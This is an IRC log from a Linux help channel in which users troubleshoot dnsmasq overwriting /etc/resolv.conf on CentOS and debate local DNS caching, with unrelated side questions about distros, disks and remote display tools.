/var/run/dnsmasq/resolv.conf 22:43 < cseder> dgarstang what distro do you use? 22:43 < ddoobb> Thanks Psi-Jack 22:43 < Psi-Jack> Well, hmm, it might be. But for a different reason. 22:43 < dgarstang> cseder: CentOS 6 and 7. Same behaviour on both 22:43 < phogg> ddoobb: depends on what you do with it. Not less than 2G for each of /home and /usr, more is better. 22:44 < phogg> you can get a pretty minimal desktop environment in less, but it's not too easy 22:44 < CableNinja> if anyone uses FOGProject, this might be useful to you https://fogproject.org/kernels/ 22:44 < Psi-Jack> dgarstang: What are you trying to use dnsmasq for? 22:44 < CableNinja> had to manually download a kernel earlier, took me an hour to find that 22:44 < dgarstang> Psi-Jack: according to someone here and this post https://superuser.com/questions/894513/resolv-conf-keeps-getting-overwritten-when-dnsmasq-is-restarted-breaking-dnsmas#988932 it is dnsmasq doing it 22:44 < dgarstang> Psi-Jack: Local dns cache 22:44 < Psi-Jack> dgarstang: With NetworkManager or without? 22:45 < dgarstang> Psi-Jack: Without. its a server not a desktop 22:45 < CableNinja> dgarstang, debian-ish or centos-ish ? 22:45 < Psi-Jack> And? 22:45 < dgarstang> CableNinja: CentOS 22:45 < Psi-Jack> NM can be used with servers. :0 22:45 < dgarstang> Psi-Jack: No NM 22:45 < CableNinja> go to /etc/sysconfig/network-scripts/ 22:45 < Psi-Jack> For EL7, they actually suggest it, hehe 22:45 < CableNinja> look in your ifcfg-* configs 22:45 < CableNinja> your resolver info is usually there 22:46 < dgarstang> CableNinja: tis not 22:46 < cseder> I think the path to the file should be /etc/default/dnsmasq not /etc/defaults/dnsmasq 22:46 < Psi-Jack> dgarstang: Okay. In /etc/default/dnsmasq, is there a line with IGNORE_RESOLVCONF=yes ? 22:46 < dgarstang> startup script sources . /etc/default/dnsmasq 22:46 < Psi-Jack> EL7 uses systemd for dnsmasq. 22:46 < dgarstang> Psi-Jack: no, but I had that earlier, and that also dind't help 22:47 < dgarstang> Psi-Jack: This is 6.... but I have the same issue on 7 as well 22:47 < CableNinja> hacky, but why not just chattr +i and call it a day 22:48 < dgarstang> CableNinja: Can't do that. it means the exit code is non zero 22:48 < CableNinja> ehhh? 22:48 < dgarstang> CableNinja: Running from chef. That will break chef client run 22:48 < CableNinja> chattr -i; chef stuff; chattr +i 22:48 < dgarstang> CableNinja: oh god 22:48 < CableNinja> heh 22:49 < dgarstang> It definitely seems like dnsmasq uses /var/run/dnsmasq/resolv.conf as the source of truth 22:49 < Psi-Jack> dgarstang: The process is slightly different between EL6 and EL7, so which do you want help with? LOL 22:49 < dgarstang> ie changes made to /var/run/dnsmasq/resolv.conf get placed in /etc/resolv.conf when I restart 22:49 < dgarstang> Psi-Jack: 6 to start 22:49 < Psi-Jack> That sounds like resolvconf. 22:49 < CableNinja> but that'd be copied from somewhere at first start (if it didnt exist) 22:49 < CableNinja> /var/run is killed every reboot 22:50 < dgarstang> Psi-Jack: Centos6 so no resolvconf 22:50 < Psi-Jack> dgarstang: In /etc/sysconfig/network-scripts/ifcfg-ethX for your NIC(s), set PEERDNS=no 22:50 < dgarstang> Psi-Jack: tried that. didn't work 22:51 < dgarstang> IGNORE_RESOLVCONF=yes in /etc/default/dnsmasq has no effect 22:52 < CableNinja> dgarstang, maybe you could change the selinux settings for the file to deny writing, then check the selinux logs to see what tried to write it? 22:52 < dgarstang> :( 22:52 < Psi-Jack> dgarstang: What's your ifcfg-* look like now? 22:52 < nekoseam> I tried the Cinnamon desktop after about half a year of not using it...God I missed it :( 22:53 < pedorcas_> hello 22:54 < dgarstang> Psi-Jack: https://gist.github.com/dgarstang/57954406778eb48bbd45c10f3ee8e359 22:54 < Psi-Jack> Heh, so it's a server with dhcp? :p 22:54 < pedorcas_> is it possible to migrate a operative system from a hhd to an ssd? 22:54 < cxc99> is there a way to sudo su - user and run a command over ssh? 22:54 < dgarstang> Psi-Jack: just added 'foo.com' to end of search line and restarted and it got woped 22:54 < nchambers> i hope you mean hdd 22:54 < pedorcas_> *bdd nchambers 22:55 < dgarstang> Psi-Jack: this one is using dhcp. The centos 7 doesn't have dhcp, same thing 22:55 < pedorcas_> *hdd 22:56 < dgarstang> Ok, //var/run/dnsmasq/resolv.conf is definitely the source of truth. if I edit that, and restart dnsmasq, it gets copied to /etc/resolv.conf. 22:56 < Psi-Jack> dgarstang: Restarted /what/ exactly? 22:56 < dgarstang> Psi-Jack: 'service dnsmasq restart' 22:57 < dgarstang> But, none of the docs say /var/run/dnsmasq/resolv.conf is the source of truth 22:57 < dgarstang> and it seems weird to have a config file at /var/run/dnsmasq/resolv.conf 22:58 < pedorcas_> is it possible to migrate a operative system from an hdd to an ssd? 22:58 < Psi-Jack> That's not wierd at all. 22:58 < dgarstang> Psi-Jack: it would be less weird if it was documented somewhere 22:58 < CableNinja> *finds great looking piece of software* 22:58 < Psi-Jack> dgarstang: So, "dhcp" is part of the problem. It's what's generating /etc/resolv.conf itself, which is from /etc/dhcpc/resolv.conf 22:58 < CableNinja> *finds software has no documentation* 22:59 < Psi-Jack> dgarstang: It is documented somewhere. 22:59 < Psi-Jack> dgarstang: man dnsmasq :p 22:59 < dgarstang> Not one of the bazillian blog posts I read in the past 6 hours mentioned as a fix to dnsmasq rewriting /etc/resolv.conf was to use /var/run/dnsmasq/resolv.conf instead 22:59 < Evidlo> pedorcas_ (IRC): it doesn't matter if its an ssd or hdd. it makes no difference 22:59 < Evidlo> and the answer is 'yes' 23:00 < dgarstang> Psi-Jack: let me try the centos 7 box without dhcp 23:00 < ayecee> Evidlo: your irc client is being weird, it adds (IRC) to the nick. 23:00 < Psi-Jack> dgarstang: And are you /SURE/ EL7 isn't using NM, because by default, it does. 23:01 < dgarstang> Psi-Jack: it's not confired to be running from systemd 23:01 < Psi-Jack> Did you write that incorrectly? :p 23:01 < dgarstang> weird, centos 7 doesn't have /var/run/dnsmasq 23:01 < dgarstang> Psi-Jack: yeah. it's configured not to run on systemd on centos 7 23:01 < _AxS_> itd be /run/dnsmasq 23:01 < Psi-Jack> Gotcha. 23:02 < Psi-Jack> And yeah, /run/dnsmasq on EL7. :) 23:02 < dgarstang> nope, /run/dnsmasq not there 23:03 < dgarstang> hm ok it is after a restart 23:03 < dgarstang> which means on 7, i def can't write the config there 23:03 < Psi-Jack> Standard English please. 23:03 < Evidlo> ayecee (IRC): its the Matrix IRC bridge's fault 23:04 < dgarstang> ok, a restart of dnsmasq on centos 7 also causes /etc/resolv.conf to be wiped 23:04 < ayecee> Evidlo: well could you fix the Matrix IRC bridge so it doesn't do that 23:04 < CableNinja> dgarstang, /etc/resolv.conf is wiped every time networking is restarted in some way 23:04 < CableNinja> and /var/run disappears with every reboot 23:04 < CableNinja> so its getting those settings from somewhere 23:04 < ayecee> Evidlo: it's not like i was saying you were doing it on purpose. 23:05 < dgarstang> ok, so it's the same thing. if I write config to /run/dnsmasq/resolv.conf it gets copied to /etc/resolv.conf when dnsmasq is restarted 23:05 < CableNinja> /var/run === /run 23:05 < Psi-Jack> dgarstang: Actually, it's just being /put back/ to there. :p 23:05 < Psi-Jack> dgarstang: Stop dnsmasq, make a change to /etc/resolv.conf, then start dnsmasq. 23:06 < Psi-Jack> You'll notice the changes get copied to /var/run/dnsmasq/resolv.conf 23:06 < dgarstang> Psi-Jack: yeah i noticed that earlier... so what's this mean? 23:06 < dgarstang> don't use restart?! 23:07 < Psi-Jack> dgarstang: It means, either manually configure dnsmasq to use specific servers and no resolv.conf... Or don't use dhcp. dhcp+dnsmasq == bad combination. 23:07 < dgarstang> Psi-Jack: This happens on centos 7 without dhcp tho 23:07 < Psi-Jack> Again, standard English. 23:08 < dgarstang> Psi-Jack: Sorry? 23:08 < dgarstang> Psi-Jack: Plus, I need the search feature 23:08 < Psi-Jack> "tho" is not a word, much like "def" was not a word. 23:08 < dgarstang> Psi-Jack: This happens on centos 7 without dhcp THOUGH 23:08 < Psi-Jack> Ugh. 23:08 < Psi-Jack> Be snappy about it, and you will quickly loose my help. 23:08 < ayecee> tragic 23:09 < dgarstang> I wouldn't care about resolv.conf except I need the search functionality and dnsmasq doesn't have any of it's own 23:09 < Psi-Jack> "search functionality?" 23:09 < dgarstang> Psi-Jack: the same functionaliy that 'search' in resolv.conf provide 23:09 < Psi-Jack> So, in ifcfg-* DOMAIN="domain1 domain2 domain3" ? 23:10 < milanos> Hey 23:10 < Psi-Jack> or, more specifically, in the /etc/dhcp3/dhclient.conf, prepend domain-search "domain1.com", "domain2.com"; 23:11 < dgarstang> Psi-Jack: How does that apply though when dhcp isn't running? 23:11 < Psi-Jack> dgarstang: Back to ifcfg-*, SEARCH="domain1.com domain2.com" 23:12 < Psi-Jack> or DOMAIN="..." :) 23:12 < dgarstang> Psi-Jack: Kind of sucks, as chef has to then manage those files 23:12 < Psi-Jack> manage what files? 23:13 < dgarstang> Psi-Jack: The files you just mentioned, /etc/sysconfig/network-scripts/ifcfg-eth0 etc 23:13 < Psi-Jack> Ummm 23:13 < Psi-Jack> Why the heck would you have Chef manage those? 23:13 < milanos> I'm planning to get a new netbook and install a linux distro on it. I want it have the same ideology as CRUX and Arch. I really just want CRUX with a package manager that installs binaries. Does that exist? 23:13 < Psi-Jack> ifcfg-* specifically is not generally something you want chef to manage. 23:13 < dgarstang> Psi-Jack: because chef is managing our boxes and was supposed to manage dnsmasq but it looks like dnsmasq can't handle that 23:13 < CableNinja> dgarstang, I'm with Psi-Jack on this one, no need to have those managed by chef 23:13 < dgarstang> CableNinja: so... I'm going to log into every box and configure it by hand? 23:13 < Psi-Jack> dgarstang: Are you running dnsmasq on /every/ servcer? 23:14 < Psi-Jack> server* 23:14 < dgarstang> Psi-Jack: That was the plan, yes. Even if it was only a subset, managing that by hand doesn't scale 23:14 < Psi-Jack> Stop... Just stop..... 23:14 < Psi-Jack> LOl 23:14 < triceratux> milanos: https://swagarch.gitlab.io/ 23:15 < CableNinja> why are you installiing dnsmasq everywhere? 23:15 < Psi-Jack> You're already using DHCP on one host, you disabled NM on EL7 despite the recommended use of using NM per EL7 standards... And why are you doing everything all wrong? 23:15 < dgarstang> Psi-Jack: So, your suggesting I manage an unknown number of servers config files by hand? 23:15 < Psi-Jack> heh 23:15 < dgarstang> Psi-Jack": NM was disabled by the hosting provider 23:15 < Psi-Jack> dgarstang: No, I'm suggesting learn how to do things the right way in the right situation, and how to provision versus config manage. 23:15 < Psi-Jack> Fire the hosting provider. 23:16 < Psi-Jack> The are breaking EL7 by providing you a broken EL7. 23:16 < milanos> triceratux: I was talking aout the bsd type init scripts and other CRUX benifits 23:16 < dgarstang> Psi-Jack: Can you provide a link to documentaiton where enabling network manager is recommended best practice? 23:16 < milanos> triceratux: I kinda like arch's install and customizable process 23:16 < Psi-Jack> dgarstang: https://wiki.centos.org/FAQ/CentOS7 23:17 < laughingman> Hi, is this the right place to ask about a dev question? :) 23:17 < Psi-Jack> laughingman: Is it a Linux question? 23:17 < dgarstang> Psi-Jack: don't see that recommendation in that doc 23:17 < Psi-Jack> dgarstang: #2 23:17 < milanos> laughingman: Ask away, as long as it is kinda related 23:17 < triceratux> milanos: cruxlike distros rarely have binary repos. theres the gentoo stuff like calculate & *cough* sabayon but theyre pretty fringe 23:18 * esselfe still waits for the question 23:18 < dgarstang> Psi-Jack: Where does this document specifically say it's for server's and not workstations? 23:18 < first-order> Well, someone locally is offloading an Amiga 4k for $0. 23:18 < Psi-Jack> dgarstang: 23:18 < Psi-Jack> Upstream has changed the default configuration to use NetworkManager and interfaces 23:18 < first-order> https://www.facebook.com/marketplace/item/892717434246948 23:18 < Psi-Jack> That alone says it all. 23:18 < dgarstang> Psi-Jack: I mean, it's talking about managing stuff through the UI, so... 23:19 < Psi-Jack> Yes... And there's nmcli, nmtui, and nm-connection-manager 23:19 < milanos> triceratux: Yeah, I was hoping that there was some magical perfect distro out there, guess nutyx it is 23:19 < Psi-Jack> And they're all provided, by default install of CentOS 7 minimal. 23:19 < laughingman> yes its about linux dev. I am trying to get a hold of linux programming and i came across a few examples of reading a process' memory in linux using process_vm_readv. (someone said it is the equivalent of ReadProcessMemory) 23:19 < Psi-Jack> Well, minus the nm-connection-manager which is the GTK+ GUI. :) 23:19 < laughingman> but I am having issues understanding the example provided in the man page 23:19 < dgarstang> Psi-Jack: Sorry I fail to see the relevance given the document is workstation related 23:20 < Psi-Jack> dgarstang: No, the FAQ is CentOS 7 related. 23:20 < dgarstang> Psi-Jack: but it talks about configuring via the UI 23:20 < Psi-Jack> Nothing to do with Server, Desktop, Workstation, Laptop, or anything, but CentOS 7 actual. 23:20 < Psi-Jack> And? 23:20 < triceratux> milanos: im using lubuntu 18.10 lxqt with the installed packages bundled as squashfs. linux is as light as you make it 23:20 < dgarstang> and ... there is no UI 23:20 < Psi-Jack> CentOS is usable as a Desktop, Workstation, Server, etc. 23:20 < first-order> Or as heavy as you make it. 23:21 < dgarstang> Psi-Jack: Yes, and I fail to see the merit of network manager for a server 23:21 < milanos> triceratux: Yeah, I really just like the bsd style init scripts. So much better than systemd IMO 23:21 < first-order> And no, it's not very usable as a desktop, coming from someone who tried to use CentOS as a desktop and failed. 23:21 < dgarstang> esp when the docs have UI instructions 23:21 < Psi-Jack> dgarstang: The ability to automate configuration with nmcli. 23:21 < Psi-Jack> That's one. :) 23:22 < dgarstang> Psi-Jack: Why would I run commands via a cli and not edit files directly? How's that better? 23:22 < first-order> Debian stable with backports is infinitely more usable for that purpose. 23:23 < ayecee> superfluous superlatives are superfluous 23:23 < first-order> I'm not denying CentOS' server chops, but it's all but useless as a desktop coming from experience. 23:24 < Psi-Jack> Regardless.. dnsmasq on every host, is bad. Stop this madness.. If you need dns caching, pick 2 hosts specifically to run DNS caching, and use those two throughout. Or use the DNS provided by your hosting provider to which you should still fire. Second. Stop managing ifcfg-* with chef. At BEST, manage those with a some form of provisioning tool, of which Chef really is not so much itself. 23:24 < dgarstang> lol 23:24 < nchambers> what provisioning tool do you recommend? 23:24 < Psi-Jack> nchambers: Depends. ;) 23:24 < nchambers> hrm, fair enough 23:24 < Psi-Jack> There's quite a few. 23:25 < Psi-Jack> And it depends on what his hosting provider is and what they provide. 23:25 < Wulf> Psi-Jack: what's wrong with dnsmasq on every host? 23:25 < nchambers> can you name some of them? as a budding sysadmin i'd love to check them out 23:25 < nchambers> or are you referring to things like imaging tools? 23:25 < Psi-Jack> Wulf: For starters, you 're caching on each host individually instead of using a central cache. This alone is wasted resources unnecessarily. 23:25 < Wulf> Psi-Jack: memory footprint of dnsmasq is low 23:25 < dgarstang> Wulf: Doesn't make sense to me either 23:26 < ayecee> compared to dns network requests for every single network event, it's not as much waste as you'd think. 23:26 < Psi-Jack> nchambers: CloudFormation, cloud-init, salt-deploy, ansible, packer, kickstart, Spacewalk/Cobbler, just to name a few that are capable of doing provisioning. Some are multi-faceted, mind you. 23:26 < nchambers> thanks. appreciated 23:26 < Psi-Jack> Wulf: Multiply that by 100, 1,000, 10,000. 23:27 < ayecee> sure, multiply the dns network traffic by the same figure 23:27 < Wulf> Psi-Jack: why? 23:27 < Psi-Jack> Also, caching individually benefits the single host, not the many. 23:28 < Wulf> Psi-Jack: so let's see, 2 MiB * 10000 = 20 GiB. When I've got the money for 10,000 hosts, why would I care about 20 GiB of memory? 23:28 < ayecee> they all still query the same server. they just don't query it every goddamned time. 23:28 < krobzaur> Hey all. I'm having some trouble using xpra to render remote applications on a high DPI display. In particular, the area that is actually occupied by the window seems to be interpreted incorrectly by my local DE, such that I can click certain elements of the xpra window 23:29 < krobzaur> Has anyone else experienced something like this? I'm thinking of giving up and falling back to xrdp, but I was hoping to avoid installing a DE on my remote server 23:29 < ayecee> Psi-Jack: you know why i installed dnsmasq? because remote syslog did a dns lookup for the syslog server for every line it sent. 23:29 < krobzaur> Also open to alternative methods of displaying remote graphical applications 23:29 < nchambers> ayecee: isn't syslog a daemon? 23:29 < ayecee> Psi-Jack: because that's what not having a local cache means. 23:29 < searedvandal> why not just use a seperate resolv-file for dnsmasq so it doesn't mess with resolv.conf? 23:29 < Wulf> I'm using dnsmasq because the real dns server doesn't always respond. It had some outages in the past. 23:29 < nchambers> or rather, a part of it 23:30 < ayecee> nchambers: it's also a network service, and a protocol. 23:30 < Psi-Jack> ayecee: rsyslog uses nss, which looks at /etc/hosts by default. 23:30 < nchambers> hmm alright 23:30 < nchambers> still, syslog sending a DNS request for every line sounds like something that should be fixed 23:30 < ayecee> Psi-Jack: so what, i should add the address of the monitoring server on each of 100, 1000, 10000 hosts manually? 23:30 < ayecee> Psi-Jack: that's dumb. 23:30 < Psi-Jack> nchambers: Definitely. 23:31 < ayecee> nchambers: it's not. that's what no local caching means. 23:31 < nchambers> it can cache the dns address in memory... 23:31 < Psi-Jack> ayecee: But, yeah, in that specific case and point, I can see the value of what you speak. 23:32 < Psi-Jack> nchambers: Yeah, but NSS doesn't cache. :) 23:32 < nchambers> ayecee: I'm not arguing the point of if dnsmasq is useful or not 23:32 < nchambers> Psi-Jack: :c 23:32 < Psi-Jack> Granted, nss /can/ cache, just it doesn't by itself. 23:32 < nchambers> it just seems silly that it wouldn't do one dns lookup, and store that in memory 23:32 < ayecee> nchambers: it could cache, but then it'd be duplicating the functionality of a local cache. 23:32 < nchambers> just for that one address 23:32 < ayecee> also the address of the server can change during runtime. 23:33 < Psi-Jack> With nscd, though, I believe it can cache dns for NSS. 23:33 < ayecee> sure don't want to restart all of the syslog instances on the network when it does change. 23:33 < nchambers> like i said, sounds broken 23:33 < ayecee> like i said, it's not. 23:34 < nchambers> if you think spamming DNS requests is a great solution, then more power to you 23:34 < nchambers> but thats pretty broken to me 23:34 < ayecee> i think having a local cache is a great solution. 23:34 < nchambers> i never said it wasn't 23:34 < ayecee> dnsmasq is that local cache. 23:34 < nchambers> yep 23:35 < ayecee> the brokenness, then, would be not having a local cache. 23:35 < searedvandal> 1 or 2 local caches pr site seems enough though 23:35 < Psi-Jack> I still question though why dnsmasq versus something more... Native... Like nscd? ;) 23:35 < nchambers> we're talking about two different things here ayecee :) 23:35 < ayecee> nchambers: i don't think we actually are. 23:35 < nchambers> ayecee: well you're talking about dnsmasq, I'm not 23:36 < ayecee> i'm not sure you know what you're talking about. 23:36 < nchambers> I do, but like I said we're talking about different things :) 23:36 < ayecee> Psi-Jack: do people still use that? 23:36 < Psi-Jack> Actually? Yes. heh 23:36 < nchambers> i am aware that you're saying having a local dns cache is a solution to it sending out many dns requests 23:37 < Wulf> ayecee: I had problems with nscd many years ago and uninstalled it. I don't remember what those problems were though. 23:37 < ayecee> Wulf: me too. 23:37 < ayecee> used it, uninstalled it, can't remember why. 23:37 < Psi-Jack> Wulf: Misconfiguration on your part, mostly. ;) 23:38 < Wulf> Psi-Jack: that's possible 23:38 < Psi-Jack> And most likely. 23:38 < Psi-Jack> There's also unscd, which only seems to be on Debian that I'm aware of. 23:41 < Psi-Jack> Anyway, heading home now. 23:43 < knight33> For more experiences linux folks, how do you "pratice" linux. I imagine a lot of them just toy around with it at home, but I don't know what to do... 23:43 < coderman1> what command could i run to combine *.gz files into a single .gz or tar file? 23:43 < ayecee> tar -cf allthefiles.tar *.gz 23:44 < ayecee> if you're trying to combine tar.gz files, sadly you can't do it without decompressing them 23:44 < triceratux> knight33: i get bored with linux unless it is literally crumbling before my eyes 23:44 < Psi-Jack> knight33: do stuff. Lol 23:44 < `Koyaanisqatsi> I never get bored with linux 23:44 < knight33> i've the same problem with programming. i dont know what to make. that's why i always learn most at work, where i'm given tasks to do 23:45 < CableNinja> I know what I want to make, problem is I get bored making it halfway through 23:46 < CableNinja> I started my own take on tools like packer, sops, and some others, havent touched it in weeks 23:47 < CableNinja> in all fairness though, I got a new laptop which was capable of gaming 23:47 < esselfe> CableNinja: can you run flightgear? 23:47 < CableNinja> idk what that is 23:47 < esselfe> a flight simulator 23:47 < CableNinja> I just bought Miscreated and have been playing that 23:47 < CableNinja> well I knew that much lol 23:51 < searedvandal> knight33, tons of resources on the interwebz for practicing and learning stuff. many have exercises for you to do. maybe that will give you some inspiration on where to start 23:54 < koala_man> there are so many fun and/or useful projects 23:54 < nchambers> setting up a certificate authority was fun --- Log closed Wed Jul 11 00:00:33 2018